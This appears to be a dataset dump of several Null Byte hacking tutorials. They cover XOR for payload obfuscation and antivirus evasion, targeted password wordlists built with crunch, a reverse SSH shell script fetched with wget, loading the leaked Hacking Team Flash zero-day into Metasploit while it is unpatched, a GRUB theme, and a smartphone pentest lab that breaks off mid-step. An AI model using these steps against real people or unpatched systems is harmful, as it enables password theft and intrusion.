title
stringlengths 30
147
| content
stringlengths 17
61.4k
|
---|---|
Hack Like a Pro: The Basics of XORing « Null Byte :: WonderHowTo | Welcome back, my novice hackers!In a recent tutorial, I showed youhow to use shikata_ga_nai to change the signature of a payload to evade detectionby security devices (firewalls, IDS, etc.) andAV software.Shikata_ga_nai is an encoding module inMetasploitthat XORs the payload through multiple iterations (the number of iterations is up to you), thereby changing the payload's signature. When the payload bypasses the security devices and the AV software, it then reverses the XORing and the payload is executed normally on the victim's system.From the questions and comments I received on that guide, it became apparent that not all of you are familiar with this concept of XOR. This guide is dedicated to those of you who are not familiar with this common technique in information technology, and as refresher for those who are.What Is XOR?XOR stands for eXclusiveOR. In logic and in everyday language, an OR can mean thateitherstatement is true orbothare true. In other words, the statement will evaluate to true if any of the statements are true. So, if I say, "The sky is cloudy OR the sky is blue," it will evaluate to true if either statement is true or if the sky is blue AND cloudy.The exclusive OR makes a distinction between these two and means only the case where one of the two statements is true. It is used throughout computing for numerous purposes, including the encryption of the payload using shikata_ga_nail, error checking, and setting parity bits on a RAID, among many other things.As you know, computers operate with millions of on/off switches. Modern computers uses transistors to operate these on/off switches, but of course, early computers used vacuum tubes and any on/off switch would suffice.These on/off switches are represented by a single bit that is often represented by ano. That bit can be on or off. If it is off, it is represented with a0(zero) and if it is on, it is represented with a1(one). Additionally, the 0 represents false and the 1 represents true. It might help you to remember this by thinking of the question, "Is the switch on?" True if it is "on" (1), and false if it "off" (0). Hope that helps.Boolean AlgebraBoolean algebra is the algebra of statements that evaluate to either true or false. This is useful in computing because we can represent these two states (true or false) by a single bit. When the statement is false, it is represented by a zero (off) and when it is true it is represented by a one (on).Truth TableIn logic and computing, we often use what are known as truth tables. These truth tables represent all the possible cases and whether they would evaluate to true or false, hence the name "truth tables". In the case of XOR, there are only four possible cases as illustrated below.Note that whenever the two inputs are thesame(00, 11) they evaluate to false. whenever the two inputs aredifferent(10, 01) the XOR evaluates to true. So, to summarize, same is 0 and different is 1.XOR CipherThe XOR cipher is a relatively simple cipher that encrypts the input by using a key that is then XORed against the input to create an output. For example:One of the advantages of the XOR cipher is that it is simple and fast. In addition, it does not need a separate algorithm to decipher it, as all systems can XOR. This is why it works so well in Metasploit's shikata_ga_nai encoding.XOR in RAIDSXOR is used in RAID levels 3–6 for creating parity information. RAID 1 is mirroring the hard drive, which means we need twice as many drives (and cost) to create fault tolerance. On the other hand, parity information is used to make certain that if one drive fails, the original information can be recovered. In this way, the RAID has fault tolerance without a huge additional expense.For example, a RAID can assure the recovery of bytes 10011100 and 01101100 from two (or more) hard drives by XORing these bytes, resulting in (11110000) and writing it to another drive. In a RAID 3 arrangement, this is a separate drive. In a RAID 5 arrangement, as illustrated above, the parity is interspersed among the drives.Under this method, if any one of the hard drives are lost, the lost byte can be recreated by XORing bytes from the remaining drives. For instance, if the drive containing 01101100 is lost, 10011100 and 11110000 can be XORed to recover the lost byte.XOR in Error CheckingXORing is also implemented in CRC, or cyclic redundancy check, a common method in computing to detect whether any accidental errors have entered the data. CRC is used for error checking in TCP, hard drives, cell phones, and nearly every other type of data transmission. Although the mathematics are beyond the scope of this tutorial, suffice to say that at least, in part, CRC uses XOR.I hope this short tutorial on XOR is helpful and enlightening to my novice hackers, as XOR is used throughout IT and hacking. It is especially important in exploit and payload obfuscation to avoid detection by security devices and AV software.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Security-Oriented C Tutorial 0xFC - A Simple XOR EncryptorHow To:Use the basic logic tools in LittleBigPlanet 2News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Make a 4 Input XOR-Gate in MinecraftHow To:Security-Oriented C Tutorial 0xFA - Enhancing Our CrypterHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Find 3D Snapchat Filters for New Effects with Your iPhone's Face ID CameraNews:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Start editing video projects in Adobe Premiere Pro CS3Review:My 6 Months Using the 12.9-Inch iPad ProHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Get All the New iPad Pro Wallpapers on Your iPhoneHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)News:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Get LED Color Effects for Music Playing on Your AndroidHow To:Flip a Clip in Final Cut Pro X 10.1.2How To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Export video to the web with Final Cut ProTHE FILM LAB:Intro to Final Cut Pro - 03THE FILM LAB:Intro to Final Cut Pro - 02THE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01Null Byte:Never Let Us DieHow To:The Official Google+ Insider's Guide IndexHow To:Shellcoding Tutorial, Linux x86 Part 1Redstone Logic Gates:Mastering the Fundamental Building Blocks for Creating In-Game MachinesNews:Skater Dolly EssentialsNews:Automatic Editing App V.I.K.T.O.R. Is So Much Fun You'll Want to Shoot Even More VideoNews:HackingNews:What does Pro Tools HD Native mean for you?News:SEO - Ugly Vs Popular - Just Like Highschool!News:Bricked iPad Pros, Error 56, & How to Fix |
Hack Like a Pro: How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch) « Null Byte :: WonderHowTo | Welcome back, my apprentice hackers!Inthis series on password cracking, I have been attempting to develop your skills in the age-old art of password cracking. Although it might seem like a simple and straightforward exercise, those of you who have attempted password cracking know that there are many subtleties to this art.In many of our password cracking disciplines, we often need to use a wordlist that will essentially attempt thousands of potential passwords per second. This is often referred to as a dictionary attack, even though we need not rely solely on dictionary words. These wordlists may have any combination of characters and words in an attempt to crack a complex password offline.Sometimes we may have indications of the target's choice password or password components which may come from our knowledge of the target, e.g. girlfriend, neighbor, friend, etc. It could be their name, children's names, a pet's name, birthday, or job. We may also know the organization's password policy (e.g. minimum 8 characters, uppercase and lowercase, etc.).In these cases, we may be able to generate a custom wordlist that reflects our knowledge of the target or the organization's password policy.Kali Linuxhas built into it a tool called "crunch" that enables us to create a custom password-cracking wordlist that we can use with such tools likeHashcat,Cain and Abel,John the Ripper,Aircrack-ng, and others. This custom wordlist might be able to save us hours or days in password cracking if we can craft it properly.Let's get started with crunch and generate some custom wordlists to crack passwords in our favorite password cracking tool.Step 1: Fire Up Kali & Open CrunchLet's start by firing up Kali and opening crunch by going to Applications -> Kali Linux -> Password Attacks -> Offline Attacks -> crunch.This will open the crunch screen like that below.Unlike many other hacking applications, crunch doesn't provide us with much info in its opening screen. I believe that's because crunch, although relatively simple to work with initially, has so many sophisticated options that the developer has put much of the information in man pages.Step 2: The Crunch SyntaxThe basic syntax for crunch looks like this:kali > crunch <min> max<max> <characterset> -t <pattern> -o <output filename>Now, let's go over what's included in the syntax above.min= The minimum password length.max= The maximum password length.characterset= The character set to be used in generating the passwords.-t <pattern>= The specified pattern of the generated passwords. For instance, if you knew that the target's birthday was 0728 (July 28th) and you suspected they used their birthday in their password (people often do), you could generate a password list that ended with 0728 by giving crunch the pattern @@@@@@@0728. This word generate passwords up to 11 characters (7 variable and 4 fixed) long that all ended with 0728.-o <outputfile>= This is the file you want your wordlist written to.Step 3: The Crunch ManualLet's go to the man pages for crunch by typing:kali > man crunchThis should open the manual pages for crunch like that below. The developers of crunch have packed these pages with a lot of info on how to get the most out of crunch.If we page down a bit in these man pages, we will come to this page (notice at the bottom, it says we are at line 70).At the top we see the -f switch. This switch allows us to choose the character set we want to use to generate our wordlist. The syntax is:-f /path/to/charset.lst <charactersetname>Here we tell crunch where the charset.lst is with the full path and then select a particular character set from that list. In Kali, the charset.lst is at:/usr/share/rainbowcrack/charset.lstStep 4: Create Some Simple WordlistsLet's start by generating some simple wordlists for password cracking. Let's assume that we know the company has passwords between 4 and 8 characters. We can generate all the possibilities in crunch by typing:kali > crunch 4 8Where the first number (4) is the shortest word length and the second (8) is the longest word length.When we execute this statement, crunch estimates how large the file will be (1812 GB) and then begins to generate the list.What if we knew that the target always used number passwords between 6 and 8 characters? We could generate a complete list of password possibilities meeting this criteria and send them to a file in the root user's directory called numericwordlist.lst by typing:kali > crunch 6 8 1234567890 -o /root/numericwordlist.lstIf we knew that the target's birthday was July 28 and they likely used that date (people often use their birthdates in their passwords to make it easier to remember) at the end of a ten character password? We could generate all the possibilities of ten-character passwords that end with 0728 and send the output to a file in the root user's directory named birthdaywordlist.lst, by typing:kali > crunch 10 10 -t @@@@@@0728 -o /root/birthdaywordlist.lstThe @ sign is use to represent a wildcard of all possibilities, while the literals "0728" represent the fixed values.Step 5: Complex Wordlists with CrunchOne of the beauties of crunch is the ability to select a specific character set or create your own character set for generating your password list. If we know the likely character set the target is using for their password, we can select the character set to generate our password list. We can find the choice of character sets at:/usr/share/rainbowcrack/charset.txtNow, if we know that our target is using an eight character password with only alphabetic characters, we can generate a list of all the possibilities in crunch with the command:kali > crunch 8 8 -f /usr/share/rainbowcrack/charset.txt mixalpha -o /root/alphawordlist.lstThis will generate all the 8-character passwords using only the alphabetic characters (no numbers or special characters) and storing them in a file called alphawordlist.lst in the root user's directory.When cracking passwords, there are multiple methods of cracking unknown passwords. These include dictionary, rainbow table, brute force and others. If we know that parameters of the password or know something about the target and their possible passwords (birthday, pet names, spouse, etc.), crunch can be a very useful tool for generating specific wordlists to be used in a dictionary-like attack.That's it for this lesson; stay tuned tothis series on password crackingfor more guides in the near future.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How To:Use Wordlister to Create Custom Password Combinations for CrackingTutorial:Create Wordlists with CrunchHow To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)How To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Create Custom Wordlists for Password Cracking Using the MentalistHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Automate Brute-Force Attacks for Nmap ScansHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack WPA/WPA2-Enterprise Part 2How To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)Advice from a Real Hacker:How to Create Stronger PasswordsHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Brute-Force WPA/WPA2 via GPUHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraNews:Advanced Cracking Techniques, Part 1: Custom DictionariesGoodnight Byte:Coding a Web-Based Password Cracker in PythonNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:GPU Accelerate Cracking Passwords with Hashcat |
How to Configure a Reverse SSH Shell (Raspberry Pi Hacking Box) « Null Byte :: WonderHowTo | If you've been watching the latest USA TV Series Mr Robot, you will have seen the Raspberry Pi used by Fsoeciety to control the HVAC system. OTW covers this very wellherewith his take on setup they may of used.However I had a very different take. A netcat bind shell is great, until you want to start launching airodump-ng capture attacks a SSH shell seems like the best option however if the box is behind a firewall, you're gonna need a reverse ssh shell. For this tutorial you will need a server that is either exposed on the internet (on something like aVPS) or port forwarded.I have written a script to make this whole process a lot easier, and you can grab itin this awesome blue fuzzy highlighting link of magic. And I will show you how to do use it. You can find out manuallyhere.Step 1: Upload the Script to Your Devices!Download the script to each of your devices, you can easily download this withwgethttps://gist.githubusercontent.com/pry0cc/dd0fd2d7bd1a72787975/raw/ec19286bc55954ccaeba203f6dc2d0e2632453ea/reverse-ssh.shStep 2: Set Up a Handler on Your ServerChoose a device to be your server, this will typically be aVPSor something of that sort that is internet facing. Or... It can be something on your local network, in this example I will using my remote VPS as the server, and my laptop as the attack client (the device i will be controlling). Though this setup, I will be able to control my laptop, from my server without ever portforwarding.Image viaimgur.comOn my server I will set up the handler with./reverse_ssh.ssh -s <my servers external ip> <the port I want to use>so in my case it is../reverse_ssh.ssh -s 100.100.100.100 30 (that IP is only a placeholder :P this would actually be your servers IP).This will hang there waiting for a connection. This is when we move onto our client or attack box (this could be the Raspberry Pi)Step 3: Set Up a Connect Listener on Your Client/PiThe syntax works like this../reverse_ssh.sh -c <ip of handler> <port of handler> <reconnect time in seconds>The script will attempt to connect to the server until it establishes a connection with it. Once established, it will stop printing "Attempting connection" and will hang. This is when we should hop on over to our attack client.Image viaimgur.comStep 4: Pwn the World!Image viaimgur.comIf we did everything correctly, our server should present us with a password login prompt, it says "localhost", which actually infact means our remote client. Once we enter the password, we will have our reverse ssh root shell! From here we can do anything the client can do, including firing up airodump-ng and doing some WEP cracking :)PRY0CCWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Build a Portable Pen-Testing Pi BoxHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)Rasberry Pi:Connecting on ComputerHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesRaspberry Pi:Physical Backdoor Part 1How To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedRaspberry Pi:Hacking PlatformHow To:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Push and Pull Remote Files Securely Over SSH with Pipes |
Hack Like a Pro: How to Use Hacking Team's Adobe Flash Exploit « Null Byte :: WonderHowTo | Welcome back, my novice hackers!As most of you know by now, a notorious commercial, legal hacking group named "Hacking Team"was recently hacked. As part of the hack, thousands of emails and other material on their servers was divulged. Among the material released were three zero-day exploits. In this tutorial, we will walk through the steps to load one of them, which has become known as theCVE-2015-5119exploit.As most of you know, I think that Adobe's Flash application is among the most vulnerable applications known to mankind. New vulnerabilities and exploits are found nearly daily. When I am advising highly secure environments such as banks and the military, I advise that Adobe Flash should be banned from all systems within the organization in order to remain secure. Fortunately for you hackers, few organizations heed this advice.The Hacking Team dump took place Sunday, July 5th, with millions of emails and other material downloaded and placed on WikiLeaks. Within days, a developer at Rapid7 had integrated this zero-day into a newMetasploitexploit. Unfortunately, as of July 13th, it is still not available from Rapid7 via msfupdate. However, it is available in a number of different places includingSecurityFocus. I wanted to get this code to you as soon as possible while this vulnerability is still largely un-patched.Step 1: Find the Exploit CodeLet's begin by going tosecurityfocus.com/vulnerabilities. There, let's search for CVE-2015-5119. When you do so, you will come to this vulnerability as seen below.We can then click on the "Exploit" tab, and it will show usa link to the exploitas seen below.Click onthe linkand it will open a screen with the exploit code.Copy and paste it into a text file. Now save that text file to your Desktop naming itadobe_hackingteam_exploit.rb. You can name it whatever you want, but if you aren't familiar with Metasploit, follow my instructions precisely to simplify this process and to increase the likelihood of success.Step 2: Install into MetasploitIn the next step, we need to install this module into Metasploit if we are to use it. Please seemy tutorial on installing new modules, and follow the instructions carefully with the exception that we will be moving this exploit to:kali > mv /root/Desktop/adobe_hackingteam_2015 /root/.msf/modules/exploits/windows/flashNow, to make certain the exploit moved, let's list the contents of that directory:kali > ls -l /root/.msf4/modules/exploits/windows/flashAs you can see, our new Hacking Team exploit has been moved to the proper directory for use with Metasploit. If you don't have that directory, simply create it withmkdir.Step 3: Start MetasploitNow, let's start Metasploit and see whether we can use that new exploit. Open the Metasploit console with:kali > msfconsoleWhen the msfconsole opens, let's search for our new module. Type:msf > search hackingteamAs you can see in the screenshot above, the new exploit has been loaded into Metasploit and is ready to use. To use the new exploit, type:msf> use exploit/windows/flash/adobe_hackingteam_2015Finally, let's get a bit of information about our new exploit.msf > infoAlthough Adobe has released a patch for this exploit, there are still likely millions of systems still vulnerable to this attack.Now that we have this exploit locked and loaded, I will show you how to use this exploit in a future tutorial. If you can't wait until then (I understand), take a look atmy other Adobe Metasploit hack tutorial. This one works very similarly.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7News:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Install Adobe Flash Player on Your Nexus 7 Running Android 4.4 KitKatHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)Hack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedNews:Some of the World's Most Notorious Hackers Got HackedHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Get LED Color Effects for Music Playing on Your AndroidHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:amend Adobe Flash SettingsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:Use title templates in Adobe Premiere ProHow To:Use Adobe Flash CS4 3D toolsHow To:Use the Adobe Flash CS4 deco toolHow To:Create motion in Adobe Flash with bones toolHow To:Create a smoke effect in Adobe FlashHow To:Use trace bitmap in Adobe Flash CS4Use Adobe Premiere Pro feature:text rolls and crawlsHow To:Create transitions in Adobe Premiere ProHow To:Animate using keyFrames in Adobe Premiere ProHow To:Use the Adobe Premiere Pro CS4 nest commandHow To:Export XFL format from After Effects to FlashHow To:Clean up audio with audio effects in Premiere Pro CS4How To:Map photos to 3D objects in Adobe Illustrator CS3How To:Create a snow globe in Adobe After Effects CS4 |
How to Give Your GRand Unified Bootloader a Custom Theme « Null Byte :: WonderHowTo | GRUB, or theGRandUnifiedBootloader, is a program that installs to your Master Boot Record and controls what operating system you load at boot time. Normally, it is used for multi-boot systems. Multi-boots allow you to switch between operating systems installed on seperate drives, or partitions at boot time. Linux actually uses it as its default bootloader, even without multiple operating systems.Today inNull Byte, we are going to be looking at an alternative to GRUB legacy. This alternative will allow us to have background images in the bootloader, as well as change the font and selection colors, allowing you to have a completely unique and custom bootloader.PrerequisitesYou must have a multi-boot system or a Linux operating system.Root access to the computer.Step1Install GRUB-GFXFirst, we need to install the version of GRUB that has graphics support. I'm using Arch Linux, so I will useyaourtto install it. If you have no package manager, go to their website todownload it.First, make a copy of your old GRUB menu.lst file:cp /boot/grub/menu.lst /boot/grub/menu.lst.bakNow install GRUB-GFX:yaourt -S grub-gfxIf you are on a Debian-based distro (Ubuntu, Mint) then, install usingapt-get.When the prompt tells you it will replace GRUB if it's installed, typeyes.Step2ConfigurationNext, we need to configure our new GRUB setup. We need to tell it where our background image will be, as well as reinstall it to our MBR partition.First, we need to tell GRUB where our image file will be. Add this line:splashimage /boot/grub/arch.xpm.gzIt should look like this:This also brings us to our next changes: color and highlighted colors of text. Change the lines above the one we just created to colors of your liking while keeping original syntax. Here is what mine looks like:Step3Install GRUB to the Master Boot RecordNow we just install GRUB to where our master boot record is located. If you only have one OS installed, it is likely that your boot partition is located at/dev/sdaor/dev/sda1. To make sure of this, issue the following command in a terminal:sudo cfdiskWhichever partition is toggled with the Boot Flag is the location you need to install GRUB. Install GRUB with your boot path. Leave this program by issuingcrtl + con your keyboard:su && grub-install /dev/<your partition name here>All finished! There is one last part we didn't go over...how exactly does one create images?How to Create GRUB BackgroundsGRUB-GFX uses a unique image format. It's an .xpm image file inside of a gzip archive. There is also a 640x480 resolution, and 14-color limitation. So lets get started!Pick your image.Open the image inGIMP.Click:Image > Scale Image. Change the resolution to 640x480.ClickImage > Mode > Indexed.Change the maximum amount of colors to 14.Save the image asarch.xpm.Move the image to your Desktop.Cmd:gzip ~/Deskop/arch.xpmCmd:sudo mv ~/Deskop/arch.xpm.gzYou are all set, with no need to reboot! Come join theIRCand chat with the rest of Null Byte!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaPhotobucketRelatedHow To:Install a Custom Recovery on Your Nexus Without Using a ComputerPSA:Unlocking Your Pixel's Bootloader Does NOT Void Your WarrantyHow To:Update TWRP Recovery with a Material Design Theme on Your Nexus 5How To:Unlock the Bootloader on Your OnePlus 6How To:Theme TWRP on Your LG G3 for a More User-Friendly RecoveryHow To:Install GRUB 2 and apply themes on Ubuntu LinuxNews:4 Ways the OnePlus 6T Makes Rooting EasyHow To:List of Phones with Unlockable BootloadersHow To:The Definitive Nexus 7 Guide to Bootloader Unlocking, Rooting, & Installing Custom RecoveriesHow To:Root and Unlock the Bootloader on a Samsung Galaxy Tab 2 (7.0) 4G LTE from VerizonNews:4 Reasons the OnePlus 5T Is the Best Phone for Rooting & Modding in 2018How To:Add a “Reboot into Recovery” Option to Your Nexus 5's Power MenuNews:The Experiment Is Over — Huawei Will No Longer Help Users Unlock Their BootloadersNews:Why Project Treble Is a Huge Win for Exynos Galaxy S9 OwnersHow To:Unlock the Bootloader on Your Pixel 2 or Pixel 2 XLHow To:Install the ElementalX Custom Kernel on Your OnePlus 6THow To:Install a Custom Recovery on Your Bootloader-Locked Galaxy Note 3 (AT&T or Verizon)How To:Get Android Pay Working on a Rooted DeviceHow To:Ditch Stock & Install a Custom Android ROM on Your HTC EVO 4G LTEHow To:Root Your HTC EVO 4G LTE Using TWRP & SuperSUHow To:Unlock the Bootloader, Install a Custom Recovery, & Root the OnePlus OneHow To:Unlock Your LG V20's Bootloader (US Variant)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Unlock the Bootloader, Install TWRP, & Root the Google Play Edition HTC OneHow To:Unlock the Bootloader on Your OnePlus 6THow To:Theme Lollipop on Your Nexus 5 with a Darker Material Design LookHow To:Unlock Your Bootloader, Root Your HTC One, & Install a Custom Recovery (Using TWRP)How To:The Easiest Way to Unlock the Bootloader on Your HTC EVO 4G LTE or Other HTC SmartphoneHow To:Hack Your Nexus 7 into a Hybrid Android Tablet That Looks & Feels Like Both iOS & TouchWizHow To:Install a Custom Kernel on the Essential PH-1How To:Unlock the Bootloader on Your LG G6 (T-Mobile Variant)How To:Unlock the Bootloader & Root Your HTC One Running Android 4.4.2 KitKatHow To:The Best Phones for Rooting & Modding in 2020How To:Root Your Pixel 4 with Magisk — The Easy WayHow To:Easily Root Your Nexus 7 Tablet Running Android 4.3 Jelly Bean (Mac Guide)News:Elastix Open Source Unified Communications SystemNews:Grand ExchangeNews:Infinity art Photography Expo - Deadline January 15, 2011News:Breath with the Dalai LamaNews:1st Annual Witness to Nature Photo Contest™ - Deadline March 31, 2011 |
Hack Like a Pro: How to Create a Smartphone Pentesting Lab « Null Byte :: WonderHowTo | Welcome back, my novice hackers!More and more, the world is turning to and adopting the smartphone platform as the digital device of choice. People are not only using smartphones for voice communication, but also web services, email, SMS, chatting, social networking, photography, payment services, and so on.There are2.6 billionsmartphone subscriptions in the world today, and that is expected to grow to 6.1 billion by 2020 (there are 7.3 billion people on the planet, so nearly one smartphone per person). This means that the smartphone will becomethetarget of choice for hackers, as it can yield lots of information about the individual carrying it and may prove to be an entry point to the corporate network.In this series, we are going to explore methods for hacking smartphones, which will usually vary by the type of operating system (iOS, Android, Windows Phone, etc.). Since Android isthe most widely used operating system(presently 82.8%), it makes sense that we begin there. We will eventually explore hacking Apple's iOS (13.9%) and Microsoft's Windows Phone (2.6%). I really don't think it makes much sense to spend time on the BlackBerry operating system, as it holds only 0.3% of the market, and I don't expect it to survive much longer. Plus,its latest device uses Androidanyway.In this first installment, we will be creating a safe virtual environment where we can test various hacks. First, we will build some Android virtual devices. Second, we will download and install theSmartphone Pentest Framework. This framework, funded by DoD and built by Georgia Weidman, is an excellent tool for building and testing exploits against smartphones.Let's get started with building and deploying the Android virtual devices to serve as targets.Step 1: Open a TerminalOf course, to get started, fire upKaliand open a terminal.Step 2: Install the Required LibrariesIn order to run these Android virtual devices on Debian 64-bit operating systems (e.g. Kali), we will need to install several key libraries that are not included by default. Fortunately, they are all in the Kali repository.kali > apt-get install lib32stdc++6 lib32ncurses5 lib32zlWith these 3 libraries installed, we can now proceed by installing the Android Software Developer Kit (SDK).Step 3: Install Android SDKWith your Iceweasel browser in Kali, navigate toAndroid's SDK websiteand download the Android SDK Tools. Make certain that you download the Linux kit. You could download and install the Windows or Mac kits and then test those virtual devices from Kali, but that will make things a bit more complex. Let's keep it simple and install everything in Kali.Once you have downloaded it, you can extract it with the GUI archive tool in Kali, or by the command line.Step 4: Navigate to the Tools DirectoryNext, we need to navigate to the tools directory of the SDK directory.kali > cd /android-pentest-framework/sdk/toolsOnce we are in the tools directory, we can then run the Android application. Simply type:kali > ./androidWhen you do, the SDK Manager will open a GUI like that above. Now, we will download two versions of the Android operating system to practice our smartphone hacking, Android 4.3 and Android 2.2. Make certain you find them among this list, click the box next to them, and click on the "Install XX packages" button. This will make the SDK download those operating systems to your Kali.Step 5: Android Virtual Device ManagerAfter we have downloaded all of the packages, we now need to build our Android Virtual Devices, or AVDs. From the SDK Manager pictured above, select Tools -> Manage AVDs, which will open an interface like that below of the Android Virtual Device Manager.Click on "Create," which will open an interface like that below. Create two Android Virtual Devices, one for the Android 4.3 and one for the Android 2.2. I simply named my devices "Android 4.3" and "Android 2.2" and I recommend you do the same.Choose the Nexus 4 device and the appropriate Target (API 18 for Android 4.3 and API 8 for Android 2.2) and the "Skin with dynamic hardware controls." The rest of the settings you should leave to the default value, except add a 100 MiB SD card.Step 6: Start the Android Virtual DeviceAfter creating the two Android Virtual Devices, the Android Virtual Device Manager should look like this with two devices:Go ahead and highlight one of the virtual devices and click "Start."This is will start the Android emulator building your Android Virtual Device. Be patient here—this can take some time. When it has completed, you should be greeted by a virtual smartphone on your Kali desktop!Step 7: Install the Smartphone Pentest FramworkThe next step is to install the Smartphone Pentest Framework. You can use git clone to download it at:kali > git clonegithub.com/georgiaw/Smartphone-Pentest-Framework.gitStep 8: Start ApacheAs will need a web server and the MySQL database, go ahead and start both of those services:kali > service apache2 startkali > service mysql startStep 9: 